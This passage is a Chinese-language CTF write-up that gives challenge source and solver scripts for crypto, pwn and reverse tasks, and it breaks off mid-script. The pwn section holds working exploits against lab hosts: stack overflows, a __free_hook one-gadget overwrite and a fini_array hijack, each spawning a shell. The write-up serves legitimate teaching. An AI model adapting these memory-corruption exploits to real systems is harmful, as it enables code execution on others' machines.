c=7606598493197579415131389145262572274370307669888941976116504066930650213265872480878754229342529633252984570181464491258921579456020053231560548776254368559815287393648703043816562080706313039456730230907295587911073470322670203094210837242275637368593652568847172953105577388011196415265267660434604835460576699229416537479102390956019699962898648323016691355526695316347258299225160950110303425405000707556634430770028017662263492867242358111006639585976524020636690580655708301984049506837664823178192539646036900136466349192381378239148009486221336067150830970536587622654288672086421586997432991363491619202528698915713412654568823064972909984091879020079979567381561487090911930132877805029769945444847434447472464168173756150780447367121212182763502545646060703352649535280237111559995922088423738938244679013956781661928821277684806739481459273450430753700851728111377729864117799347652264776431136323079002000276240074922751613393382682172270783794979676473794225072891134723052004116355391672721337352892915502798445849192853490846202610758956834901481932688248032206773442458438164769618204921925085219338554287468304572 # d=407901610088801627227998041426123211900409441687470227766991501940226867028500159792888002621917501886115657756142172077717750694655397990810386824581369266479051038881263556227956395407 # e=124094154211778931305293882056803086332763656672806022354884153133298046049688263883079405452053713255826807923954817413443300723193900118489389974503142786095871998674539663888530186294603689990811076601853618112103624524179406598743115874407992208631189471977746080673140725915825208148227123512525313098345229874145113844289608875391941542383821448834856830717804770049417238903518044933339803838279054135432750125863346200861548454020551825635423031464654446616585285676956403892979703546511130728520482751844481098798799671865736242063362513064755568201131055782933908364607617194194927616533705675705705205410979749756550307118072124506097413874538078902238727649125144099673200072493718995416013743206843824268749114187204698237269528267944250665364970706909582403697723823536538411087078992539047133582572928762082012793938307173514396951180165454054205907982919985166863623743234020051925748225918485952428741018417314807571580345821648907808218446727435602910457502267680482191939983618456668709763397206849712981881296448227439396696842481894550386456679027616805026913569097632353696289310575044582852194756108263064055183 # m = pow(c, d, n) # print(long_to_bytes(m)) # TSC{R3c4lcU1at3_W1eNe(_At7@Ck_!!!} ``` ### 從來不覺得算密碼學開心過 ```python from Crypto.Util.number import getPrime, long_to_bytes from Crypto.Util.Padding import pad from Crypto.Cipher import AES from random import randrange flag = open('flag.txt', 'r').read().strip().encode() p = getPrime(16) r = [randrange(1, p) for _ in range(5)] print(f'p = {p}') # You have 5 unknown random numbers # But you can only get 4 hashes # It is impossible to recover the flag, right? for i in range(4): h = flag[i] for j in range(5): h = (h + (j+1) * r[j]) % p r[j] = h print(f"hash[{i}] = {h}") key = 0 for rr in r: key += rr key *= 2**16 key = pad(long_to_bytes(key), 16) aes = AES.new(key, AES.MODE_ECB) ciphertext = aes.encrypt(pad(flag, AES.block_size)) print(f"ciphertext = {ciphertext}") ``` 題目是一個有 `4` 條式子 `5` 個變數的模方程,注意到 flag 開頭一定是 `TSC{`,可以很簡單的把 flag 造成的影響去掉,並且因為 `p` 的範圍的關係,可以枚舉最後一個維度,以下是 exploit: ```python from Crypto.Util.number import getPrime, long_to_bytes from Crypto.Util.Padding import pad from Crypto.Cipher import AES ciphertext = b'z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP' p = 42899 with open("output.txt", "r") as f: datas = f.read().split("\n") for data in datas: if data == '': break data = list(map(int, data.split(' '))) tmp = b"TSCCTF" for i in range(4): h = tmp[i] for j in range(5): h = (h + (j+1) * data[j]) % p data[j] = h key = 0 for rr in data: key += rr key *= 2**16 key = pad(long_to_bytes(key), 16) aes = AES.new(key, AES.MODE_ECB) try: flag = aes.decrypt(ciphertext) if b"TSC" in flag: print(flag) except: pass # TSC{d0_4_L1feTim3_0f_crypTogr4phy_w1th_yOu} ``` ### classic ```python import os import string import secrets flag = os.getenv("FLAG") or "TSC{test_flag}" charset = string.digits + string.ascii_letters + string.punctuation A, B = secrets.randbelow(2**32), secrets.randbelow(2**32) assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset) enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag) print(enc) ``` 一個模數下的線性變換,由 `TS` 開頭可以求出 `A` 和 `B`,剩下的就是普通的模運算 ```python import string ct = "o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV\"" charset = string.digits + string.ascii_letters + string.punctuation # Ax+B print(f"A * {charset.find('T')} + B = {charset.find(ct[0])}") print(f"A * {charset.find('S')} + B = {charset.find(ct[1])}") A = (charset.find(ct[0]) - charset.find(ct[1])) % len(charset) B = (89 - A * 54) % len(charset) assert((A * charset.find('C') + B - charset.find(ct[2])) % len(charset) == 0) flag = "" for i in ct: flag += charset[(charset.find(i) - B) * pow(A, -1, len(charset)) % len(charset)] print(flag) # TSC{c14551c5_c1ph3r5_4r5_fr4g17e} ``` ### 2des ```python #!/usr/bin/env python from Crypto.Cipher import DES from Crypto.Util.Padding import pad from random import choice from os import urandom from time import sleep def encrypt(msg: bytes, key1, key2): des1 = DES.new(key1, DES.MODE_ECB) des2 = DES.new(key2, DES.MODE_ECB) return des2.encrypt(des1.encrypt(pad(msg, des1.block_size))) def main(): flag = open('/flag.txt', 'r').read().strip().encode() print("This is a 2DES encryption service.") print("But you can only control one of the key.") print() while True: print("1. Encrypt flag") print("2. Decrypt flag") print("3. Exit") option = int(input("> ")) if option == 1: # I choose a key # You can choose another one keyset = ["1FE01FE00EF10EF1", "01E001E001F101F1", "1FFE1FFE0EFE0EFE"] key1 = bytes.fromhex(choice(keyset)) key2 = bytes.fromhex(input("Enter key2 (hex): ").strip()) ciphertext = encrypt(flag, key1, key2) print("Here is your encrypted flag:", flush=True) print("...", flush=True) sleep(3) if ciphertext[:4] == flag[:4]: print(ciphertext) print("Hmmm... What a coincidence!") else: print("System error!") print() elif option == 2: print("Decryption are disabled") print() elif option == 3: print("Bye!") exit() else: print("Invalid option") print() if __name__ == "__main__": main() ``` 這題考 `des` 的半弱密鑰,有幾組密鑰兩個加密完後會和原本明文相同,就選一組來一直送: ```python from pwn import * r = remote("172.31.2.2", 9487) while True: r.sendlineafter(b"> ", b"1") r.sendlineafter(b": ", b"E01FE01FF10EF10E") r.recvuntil(b"...\n") k = r.recvline() print(k) if b"System" in k: continue print(k) break r.interactive() # TSC{th3_Key_t0_br34k_DES_15_tHe_keY} ``` ### AES Encryption Oracle ```python #!/usr/bin/env python3 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from cryptography.hazmat.backends import default_backend import os def aes_cbc_encrypt(msg: bytes, key: bytes) -> bytes: """ Encrypts a message using AES in CBC mode. Parameters: msg (bytes): The plaintext message to encrypt. key (bytes): The encryption key (must be 16, 24, or 32 bytes long). Returns: bytes: The initialization vector (IV) concatenated with the encrypted ciphertext. """ if len(key) not in {16, 24, 32}: raise ValueError("Key must be 16, 24, or 32 bytes long.") # Generate a random Initialization Vector (IV) iv = os.urandom(16) # Pad the message to be a multiple of the block size (16 bytes for AES) padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_msg = padder.update(msg) + padder.finalize() # Create the AES cipher in CBC mode cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) encryptor = cipher.encryptor() # Encrypt the padded message ciphertext = encryptor.update(padded_msg) + encryptor.finalize() # Return IV concatenated with ciphertext return iv + ciphertext def aes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes: """ Decrypts a message encrypted using AES in CBC mode. Parameters: encrypted_msg (bytes): The encrypted message (IV + ciphertext). key (bytes): The decryption key (must be 16, 24, or 32 bytes long). Returns: bytes: The original plaintext message. """ if len(key) not in {16, 24, 32}: raise ValueError("Key must be 16, 24, or 32 bytes long.") # Extract the IV (first 16 bytes) and ciphertext (remaining bytes) iv = encrypted_msg[:16] ciphertext = encrypted_msg[16:] # Create the AES cipher in CBC mode cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() # Decrypt the ciphertext padded_msg = decryptor.update(ciphertext) + decryptor.finalize() # Remove padding from the decrypted message unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() msg = unpadder.update(padded_msg) + unpadder.finalize() return msg def main(): with open("/home/kon/image-small.jpeg", "rb") as f: image = f.read() key = os.urandom(16) encrypted_image = aes_cbc_encrypt(image, key) k0n = int(input("What do you want to know? ")) print(f'{key = }') print(f'{encrypted_image[k0n:k0n+32] = }') if __name__ == "__main__": main() ``` 這題是他會給我 aes cbc 加密後的東西,只是他會一段一段 32 bytes 的給,每次的 iv 是 random 的,還有會給我 key。因為有 32 bytes,所以我們知道前 16 bytes 的密文,所以可以解密後 16 bytes 的密文: ```python from pwn import * from Crypto.Cipher import AES flag = b"" for i in range(0, 23344, 16): print(i) r = remote("172.31.2.2", 36363) r.sendlineafter(b"? ", str(i).encode()) k = r.recvline() key = eval(k.split(b" = ")[-1]) k = r.recvline() print(k) enc = eval(k.split(b" = ")[-1]) cipher = AES.new(key, AES.MODE_CBC) if len(enc) != 32: print(len(enc)) break pt = cipher.decrypt(enc)[16:32] flag += pt print(key, enc) with open("output.jpg", "wb") as f: f.write(flag) with open("output.txt", "w") as f: f.write(flag.hex()) print(cipher.decrypt(enc)[16:32]) if cipher.decrypt(enc)[16:32] == b"": print(enc[:16]) break r.close() ``` 最後要破譯這張圖片拿到 flag,大概是這題裡面最困難的部分了: ![image](https://hackmd.io/_uploads/HyBr59Hw1l.png) 由圖片中的狐狸可以知道 0 後面的其實不是 *,而是 x TSC{f0x_Say_Gering-dingKon-kon-kon} ### Very Simple Login ```python import base64 import hashlib import json import os import re import sys import time from secret import FLAG def xor(message0: bytes, message1: bytes) -> bytes: return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1)) def sha256(message: bytes) -> bytes: return hashlib.sha256(message).digest() def hmac_sha256(key: bytes, message: bytes) -> bytes: blocksize = 64 if len(key) > blocksize: key = sha256(key) if len(key) < blocksize: key = key + b'\x00' * (blocksize - len(key)) o_key_pad = xor(b'\x5c' * blocksize, key) i_key_pad = xor(b'\x3c' * blocksize, key) return sha256(o_key_pad + sha256(i_key_pad) + message) def sha256_jwt_dumps(data: dict, exp: int, key: bytes): header = {'alg': 'HS256', 'typ': 'JWT'} payload = {'sub': data, 'exp': exp} header = base64.urlsafe_b64encode(json.dumps(header).encode()) payload = base64.urlsafe_b64encode(json.dumps(payload).encode()) signature = hmac_sha256(key, header + b'.' + payload) signature = base64.urlsafe_b64encode(signature).rstrip(b'=') return header + b'.' + payload + b'.' + signature def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None: header_payload, signature = jwt.rsplit(b'.', 1) sig = hmac_sha256(key, header_payload) sig = base64.urlsafe_b64encode(sig).rstrip(b'=') if sig != signature: raise ValueError('JWT error') try: header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1] header = json.loads(base64.urlsafe_b64decode(header)) payload = json.loads(base64.urlsafe_b64decode(payload)) if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'): raise ValueError('JWT error') if int(payload.get('exp')) < exp: raise ValueError('JWT error') except Exception: raise ValueError('JWT error') return payload.get('sub') def register(username: str, key: bytes): if re.fullmatch(r'[A-z0-9]+', username) is None: raise ValueError("'username' format error.") return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key) def login(token: bytes, key: bytes): userdata = sha256_jwt_loads(token, int(time.time()), key) return userdata['username'] def menu(): for _ in range(32): print('==================') print('1. Register') print('2. Login') print('3. Exit') try: choice = int(input('> ')) except Exception: pass if 1 <= choice <= 3: return choice print('Error choice !', end='\n\n') sys.exit() def main(): key = os.urandom(32) for _ in range(32): choice = menu() if choice == 1: username = input('Username > ') try: token = register(username, key) except Exception: print('Username Error !', end='\n\n') continue print(f'Token : {token.hex()}', end='\n\n') if choice == 2: token = bytes.fromhex(input('Token > ')) try: username = login(token, key) except Exception: print('Token Error !', end='\n\n') if username == 'Admin': print(f'FLAG : {FLAG}', end='\n\n') sys.exit() else: print('FLAG : TSC{???}', end='\n\n') if choice == 3: sys.exit() if __name__ == '__main__': try: main() except Exception: sys.exit() except KeyboardInterrupt: sys.exit() ``` 可以用 Admin 註冊,得到 Token 就直接登入: ``` ================== 1. Register 2. Login 3. Exit > 1 Username > Admin Token : 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d4455354f546b3066513d3d2e6c5875434a4463306375535a375251793672325f4e4d54782d59524e3849465556544a786b47486f352d77 ================== 1. Register 2. Login 3. Exit > 2 Token > 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d4455354f546b3066513d3d2e6c5875434a4463306375535a375251793672325f4e4d54782d59524e3849465556544a786b47486f352d77 FLAG : TSC{Wr0nG_HM4C_7O_L3A_!!!} ``` ## Pwn ### 窗戶麵包 第一次寫 windows pwn,一個簡單的 bof,給 `main` 的位置,然後會發現有個特別的函式 `magic` ```cpp void __cdecl magic(const char *param1, int param2, const char *param3) { if ( !strcmp(param1, "B33F50UP") ) { if ( param2 == 1337 ) { if ( !strcmp(param3, "open_sesame") ) { puts("All parameters are correct. Opening shell..."); WinExec("cmd.exe", 0); } else { puts("Parameter 3 is incorrect!"); } } else { puts("Parameter 2 is incorrect!"); } } else { puts("Parameter 1 is incorrect!"); } } ``` 我們直接跳到 `WinExec` 那行就好了: ```python from pwn import * r = remote("172.31.0.3", 56001) r.recvuntil(b": ") base = int(r.recvline().strip().decode(), 16) - 0xadb payload = b"a" * 0x38 + p64(base + 0xabc) r.sendlineafter(b"?", payload) # print(r.recv()) r.interactive() # TSC{w1nd0w5_buff3r_0v3rfl0w_1s_g0d_d4mn_34sy} ``` ### Globalstack ```cpp #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define MAX_STACK_SIZE 20 #define MAX_INPUT_SIZE 25 int64_t stack[MAX_STACK_SIZE]; int64_t* top = stack - 1; int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char *input = malloc(MAX_INPUT_SIZE); char *command = malloc(MAX_INPUT_SIZE); int64_t value; puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); while (1) { printf(">> "); fgets(input, MAX_INPUT_SIZE, stdin); sscanf(input, "%s", command); if (strcmp(command, "push") == 0) { if (sscanf(input, "%*s %ld", &value) == 1) { top += 1; *top = (int64_t)value; printf("Pushed %ld to stack\n", value); } else { printf("Invalid push.\n"); } } else if (strcmp(command, "pop") == 0) { printf("Popped %ld from stack\n", *top); top -= 1; } else if (strcmp(command, "show") == 0) { printf("Stack top: %ld\n", *top); } else if (strcmp(command, "exit") == 0) { break; } else if (strcmp(command, "help") == 0) { puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); } else { printf("Unknown command: %s\n", command); } } free(input); free(command); return 0; } ``` 有個在全域的 stack,可以亂寫東西,但是 got 不可寫。首先我們可以 leak libc,然後會發現那個全域 stack 的 top pointer 是可寫的,所以可以任意寫。然後他 libc 版本是 2.31 ,所以有 free hook,去把 free hook 寫成 one gadget 就成功了: ```python from pwn import * from ctypes import * # r = process("./globalstack") r = remote("172.31.1.2", 11101) libc = ELF("libc-2.31.so") def push(x: bytes): r.sendlineafter(b">> ", b"push " + str(c_longlong(u64(x)).value).encode()) print(r.recvline()) def pop(): r.sendlineafter(b">> ", b"pop") return p64(c_ulonglong(int(r.recvline().split(b" ")[1])).value) stack = [] pop() libc.address = u64(pop()) - 0x1ec980 print(hex(libc.address)) for i in range(3): pop() # print(hex(u64(pop()))) pie_base = u64(pop()) - 0x4010 print(f"{hex(pie_base) = }") print(hex(libc.symbols["__free_hook"])) push(p64(libc.symbols["__free_hook"] - 8)) push(p64(libc.address + 0xe3b01)) r.sendlineafter(b">> ", b"exit") r.interactive() # TSC{fr33_h00k_1s_nO_L0ng3r_fr33_AFt3r_Glibc_2.34_^_^_2d9e302796bcf60e} # 0xe3afe execve("/bin/sh", r15, r12) # constraints: # [r15] == NULL || r15 == NULL || r15 is a valid argv # [r12] == NULL || r12 == NULL || r12 is a valid envp # 0xe3b01 execve("/bin/sh", r15, rdx) # constraints: # [r15] == NULL || r15 == NULL || r15 is a valid argv # [rdx] == NULL || rdx == NULL || rdx is a valid envp # 0xe3b04 execve("/bin/sh", rsi, rdx) # constraints: # [rsi] == NULL || rsi == NULL || rsi is a valid argv # [rdx] == NULL || rdx == NULL || rdx is a valid envp ``` ### Localstack ```cpp #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define MAX_STACK_SIZE 20 #define MAX_INPUT_SIZE 25 void print_flag() { char flag[64]; FILE *f = fopen("flag", "r"); if (f == NULL) { perror("fopen"); exit(1); } fgets(flag, sizeof(flag), f); printf("%s",flag); fclose(f); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char input[25]; char command[25]; int64_t stack[MAX_STACK_SIZE]; int64_t top = -1; int64_t value; puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); while (1) { printf(">> "); fgets(input, sizeof(input), stdin); sscanf(input, "%s", command); if (strcmp(command, "push") == 0) { if (sscanf(input, "%*s %ld", &value) == 1) { stack[++top] = value; printf("Pushed %ld to stack\n", value); } else { printf("Invalid push.\n"); } } else if (strcmp(command, "pop") == 0) { printf("Popped %ld from stack\n", stack[top--]); } else if (strcmp(command, "show") == 0) { printf("Stack top: %ld\n", stack[top]); } else if (strcmp(command, "exit") == 0) { break; } else if (strcmp(command, "help") == 0) { puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); } else { printf("Unknown command: %s\n", command); } } return 0; } ``` 有一個在 stack 上的 stack,可以亂寫東西。可以發現,這個 stack 的 top index 可以被寫,所以我們可以在 stack 的相對位置上任意寫。那我們跳到一個在 rbp 之下,而且有 pie base 的相對位置的地方,這樣能 leak pie base。之後一直 pop 回來再 push 蓋掉 return address,蓋成 `print_flag` 的位置,最後 `exit` 就能 get flag: ```python from ctypes import * from pwn import * # r = process("./local") r = remote("172.31.1.2", 11100) now = -1 def push(x: bytes): global now if now != -1: now += 8 r.sendlineafter(b">> ", b"push " + str(c_longlong(u64(x)).value).encode()) print(r.recvline()) def pop(): global now if now != -1: now -= 8 r.sendlineafter(b">> ", b"pop") return p64(c_ulonglong(int(r.recvline().split(b" ")[1])).value) pop() push(p64(0x23)) pie_base = u64(pop()) - 0x1334 for i in range(4): pop() push(p64(pie_base + 0x1289)) r.sendlineafter(b">> ", b"exit") r.interactive() ``` ### BabyStack ```cpp #include <stdio.h> #include <stdlib.h> int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); char *ptr = 0; char ans0[0x10] = {0}; char ans1[0x10] = {0}; char ans2[0x10] = {0}; puts("========= Welcome To Baby Stack ========="); printf("| Gift : %p\n", puts); puts("| Do you know how the stack works ?"); printf("| > "); read(0, ans0, 8); puts("| Do you know how the stack works ?"); printf("| > "); read(0, ans1, 8); puts("| Do you know how the stack works ?"); printf("| > "); read(0, ans2, 8); puts("| Show your skills !"); printf("| > "); scanf("%llx", &ptr); printf("| > "); read(0, ptr, 0x10); puts("========= End Of Baby Stack ========="); return 0; } ``` 這題給 libc base,並且給 0x10 bytes 的任意寫,可以去寫一些在 exit 中會 call 到的東西。有一個在 `_rtld_global._dl_ns._ns_loaded` 存的值,是 pie base,他會根據這個值去找到 fini_array 執行上面的東西,所以我們只要把他的值改成 address - fini_array_off,就可以跳上 address 上面存的地址了。所以我們把 one gadget 寫到 `_rtld_global._dl_ns._ns_loaded - 8`,把 `_rtld_global._dl_ns._ns_loaded` 寫成 `_rtld_global._dl_ns._ns_loaded - 8 - fini_array_off`,就可以跳到 one gadget 上了。但是 `_rtld_global` 是在 ld 上面的,他和 libc 會差一個小 offset,枚舉一下就好了: ```python from pwn import * import random libc = ELF("libc.so.6") while True: for off in range(0x202, 0x500): try: # off = random.randint(0x200, 0x4ff) off = hex(off)[2:] off = "0x" + off + "000" off = int(off, 16) r = remote("172.31.2.2", 36902) # r = process("./chal") # r = remote("172.18.0.2", 36902) # off = int(input()) r.recvuntil(b": ") k = r.recvline().strip().decode() # off = 0x230000 libc_base = int(k, 16) - libc.symbols["puts"] ld_base = libc_base + off print(hex(off)) if(libc_base < 0): print(k, int(k, 16) - libc.symbols["puts"]) print(hex(libc_base)) print(hex(ld_base)) l_addr_off = 0x3b2e0 fini_array_off = 0x3d98 l_addr = ld_base + l_addr_off print(hex(l_addr)) # print(hex(libc.address)) r.sendlineafter(b"> ", b"aaaaaaa") r.sendlineafter(b"> ", b"aaaaaaa") r.sendlineafter(b"> ", b"aaaaaaa") r.sendlineafter(b"> ", hex(l_addr - 8).encode()) oneoff = 0xebd38 r.sendlineafter(b"> ", p64(libc_base + oneoff) + p64(l_addr - 8 - fini_array_off)) print("dd") k = b"" k = r.recvuntil(b" =========", timeout=1) if k == b"": r.interactive() print(k) r.sendline(b"ls") r.recvline() print("yee") r.interactive() # TSC{YoU_KnOw_h0w_7h3_b4bY_st@(k_w0rk$_!!!} except: try: r.close() except: pass pass ``` ## Reverse ### meoware 會發現他 `main` 的最後會輸出 `flag`,但是中間卡在一個迴圈: ```cpp while(rand()){ ... } ``` 直接把他跳過去就好 ![image](https://hackmd.io/_uploads/H1rA7mQD1x.png) ### linkstart ```cpp puts("Link Start!"); printf("Give me flag to logout: "); fgets(s, 100, stdin); s[strcspn(s, "\n")] = 0; if ( strlen(s) != 44 ) goto LABEL_17; if ( (strlen(s) & 3) != 0 ) goto LABEL_17; for ( i = strlen(s) - 1; i >= 0; insert(&v8, s[i--]) ) ; for ( j = 0; j < strlen(s); j += 4 ) { v9 = 0; for ( k = 0; k <= 3; ++k ) s[k - 4] = (16 * (k + 1)) ^ pop(&v8); // v8 = v8.prev, return original insert(&v8, SBYTE2(v9)); insert(&v8, v9); insert(&v8, SBYTE1(v9)); insert(&v8, SHIBYTE(v9)); for ( m = 0; m <= 3; ++m ) v8 = v8->prev; } v8 = v8->prev; sub_133F((__int64)v8, (__int64)s1); if ( !strcmp(s1, s2) ) { puts("Logout Success :)"); sub_139A(v8); return 0LL; } else { LABEL_17: puts("Logout Failed :("); sub_139A(v8); return 1LL; } ``` 這是一個 flag checker,把 struct 復原一下會發現,出現一個環狀 linked list。然後實際上做的事情是把東西 4 個 4 個送進來逐位 xor 再 p_box,所以倒著做回去就好,以下是 exploit: ```python res = b';sDs\x1f\x10IE\x1fr$Uq\x7fq|$k~\x03ulOy!\x7fd}\x12tcU!`O[\rlO|=^nN' k = b"\x40\x20\x10\x30" * 11 def xor(a: bytes, b: bytes): return bytes(x ^ y for x, y in zip(a, b)) x = xor(res, k) flag = b"" for i in range(0, len(x), 4): flag += bytes([x[i + 2], x[i + 1], x[i + 3], x[i]]) # print(flag.hex()) print(flag) # TSC{Y0u_4Re_a_L1nK3d_LI5t_MasTeR_@ka_LLM~~~} ``` ### Local Connect 給一個 binary 和他送出去和進來的封包紀錄 會發現,他一開始會 random 3 個數字,進去做一些運算,因為 3 個數字都小於 256,所以就暴力枚舉去計算: ```cpp #include<bits/stdc++.h> unsigned char payload[15] = "?\225C\321y\241\334G&p\330S/7"; unsigned char func2_origional[15] = "shallowfeather"; unsigned char func1_out[128] = "Expand 32-byte kshallowfeather\310v\003starburststream\x00\x00\x00\x00\x00\x00\x00\x00hahah"; // sub_3ACA(func1_out, func2_origional, 14); int cnt = 0; unsigned int ROL(unsigned int x, int cnt){ return (x << cnt) | (x >> (32 - cnt)); } void some_xor(unsigned int *a1, unsigned int *a2) { int k; // [rsp+24h] [rbp-1Ch] int j; // [rsp+28h] [rbp-18h] int i; // [rsp+2Ch] [rbp-14h] for ( i = 0; i <= 15; ++i ) a2[i] = a1[i]; for ( j = 0; j <= 9; ++j ) { *a2 += a2[4]; a2[12] = ROL((unsigned int)(a2[12] ^ *a2), 16LL); a2[8] += a2[12]; a2[4] = ROL((unsigned int)(a2[4] ^ a2[8]), 12LL); *a2 += a2[4]; a2[12] = ROL((unsigned int)(a2[12] ^ *a2), 8LL); a2[8] += a2[12]; a2[4] = ROL((unsigned int)(a2[4] ^ a2[8]), 7LL); a2[1] += a2[5]; a2[13] = ROL((unsigned int)(a2[13] ^ a2[1]), 16LL); a2[9] += a2[13]; a2[5] = ROL((unsigned int)(a2[5] ^ a2[9]), 12LL); a2[1] += a2[5]; a2[13] = ROL((unsigned int)(a2[13] ^ a2[1]), 8LL); a2[9] += a2[13]; a2[5] = ROL((unsigned int)(a2[5] ^ a2[9]), 7LL); a2[2] += a2[6]; a2[14] = ROL((unsigned int)(a2[14] ^ a2[2]), 16LL); a2[10] += a2[14]; a2[6] = ROL((unsigned int)(a2[6] ^ a2[10]), 12LL); a2[2] += a2[6]; a2[14] = ROL((unsigned int)(a2[14] ^ a2[2]), 8LL); a2[10] += a2[14]; a2[6] = ROL((unsigned int)(a2[6] ^ a2[10]), 7LL); a2[3] += a2[7]; a2[15] = ROL((unsigned int)(a2[15] ^ a2[3]), 16LL); a2[11] += a2[15]; a2[7] = ROL((unsigned int)(a2[7] ^ a2[11]), 12LL); a2[3] += a2[7]; a2[15] = ROL((unsigned int)(a2[15] ^ a2[3]), 8LL); a2[11] += a2[15]; a2[7] = ROL((unsigned int)(a2[7] ^ a2[11]), 7LL); *a2 += a2[5]; a2[15] = ROL((unsigned int)(a2[15] ^ *a2), 16LL); a2[10] += a2[15]; a2[5] = ROL((unsigned int)(a2[5] ^ a2[10]), 12LL); *a2 += a2[5]; a2[15] = ROL((unsigned int)(a2[15] ^ *a2), 8LL); a2[10] += a2[15]; a2[5] = ROL((unsigned int)(a2[5] ^ a2[10]), 7LL); a2[1] += a2[6]; a2[12] = ROL((unsigned int)(a2[12] ^ a2[1]), 16LL); a2[11] += a2[12]; a2[6] = ROL((unsigned int)(a2[6] ^ a2[11]), 12LL); a2[1] += a2[6]; a2[12] = ROL((unsigned int)(a2[12] ^ a2[1]), 8LL); a2[11] += a2[12]; a2[6] = ROL((unsigned int)(a2[6] ^ a2[11]), 7LL); a2[2] += a2[7]; a2[13] = ROL((unsigned int)(a2[13] ^ a2[2]), 16LL); a2[8] += a2[13]; a2[7] = ROL((unsigned int)(a2[7] ^ a2[8]), 12LL); a2[2] += a2[7]; a2[13] = ROL((unsigned int)(a2[13] ^ a2[2]), 8LL); a2[8] += a2[13]; a2[7] = ROL((unsigned int)(a2[7] ^ a2[8]), 7LL); a2[3] += a2[4]; a2[14] = ROL((unsigned int)(a2[14] ^ a2[3]), 16LL); a2[9] += a2[14]; a2[4] = ROL((unsigned int)(a2[4] ^ a2[9]), 12LL); a2[3] += a2[4]; a2[14] = ROL((unsigned int)(a2[14] ^ a2[3]), 8LL); a2[9] += a2[14]; a2[4] = ROL((unsigned int)(a2[4] ^ a2[9]), 7LL); } for ( k = 0; k <= 15; ++k ) a2[k] += a1[k]; a1[12]++; return; } void partial_cp(unsigned int a1, unsigned int* a2) { // __int64 result; // rax // *(_BYTE *)a2 = a1; // *(_WORD *)(a2 + 1) = a1 >> 8; // result = a2 + 3; // *(_BYTE *)(a2 + 3) = HIBYTE(a1); // *a2 = a1 & 0xFF0000FF; *a2 = a1; return; // *(_DWORD*)a2 = b3, 0, 0, b0 } void sub_3A14(unsigned int *a1, unsigned int *a2) { unsigned int v3[18]; // [rsp+10h] [rbp-50h] BYREF some_xor(a1, v3); for (int i = 0LL; i <= 0xF; ++i ) partial_cp(v3[i], &a2[i]); return; } void sub_3ACA(unsigned char* a, unsigned char* func2_out0, int func2_out_len) { for (int i = 0; i < func2_out_len; i++) { func2_out0[i] ^= a[i + 64]; } return; } bool check(unsigned char x, unsigned char y, unsigned char z){ unsigned char func2[15]; unsigned char func1[128]; memcpy(func2, func2_origional, sizeof(func2)); memcpy(func1, func1_out, sizeof(func1)); func1[61] = x; func1[62] = y; func1[63] = z; sub_3A14((unsigned int*)func1, (unsigned int*)(func1 + 64)); sub_3ACA(func1, func2, 14); for(int i = 0; i < 14; i++){ if(func2[i] != payload[i]){ return 0; } } return 1; } int main(){ // printf("%s", payload); for(int i = 0; i < 256; i++){ std::cout << i << "\n"; for(int j = 0; j < 256; j++){ for(int k = 0; k < 256; k++){ if(check(i, j, k)){ std::cout << i << " " << j << " " << k << "\n"; exit(0); } } } } } // 45 35 100 ``` 拿到了之後可以去改那些 random 的數應該在的地方: ![image](https://hackmd.io/_uploads/HygIEb4vkg.png) 然後把所有網路的邏輯都跳過,把正確的值寫上去: ![image](https://hackmd.io/_uploads/rJkjLZ4wye.png) ![image](https://hackmd.io/_uploads/B1XPgzEDJl.png) 接下來一直執行,他會寫出一個 flag 檔案,發現他是一個 binary,於是丟進 ida ```cpp int __cdecl main(int argc, const char **argv, const char **envp) { int i; // [xsp+10h] [xbp-B0h] _DWORD __dst[40]; // [xsp+18h] [xbp-A8h] BYREF printf("by: ShallowFeather\n"); printf("Idea: From FlareOn-11\n"); memcpy(__dst, &unk_100003F08, sizeof(__dst)); for ( i = 0; i < 40; ++i ) printf("%c", __dst[i] ^ 0x87u); return 0; } ``` 就找到對應東西去 xor: ```python def xor(a: bytes, b: bytes): return bytes(x ^ y for x, y in zip(a, b)) data = bytes.fromhex("D3000000D4000000C4000000FC000000E1000000B6000000E6000000F5000000B3000000C8000000E9000000B6000000B6000000D8000000B0000000D8000000F2000000D8000000E4000000C6000000C9000000D8000000E4000000EF000000B3000000E4000000EC000000D8000000EB000000F3000000D8000000B7000000F2000000F3000000A6000000A6000000A6000000A6000000A6000000FA000000")\ data = bytes(xor(data, b"\x87" * 40 * 4)[i] for i in range(40 * 4) if i % 4 == 0) print(data) # 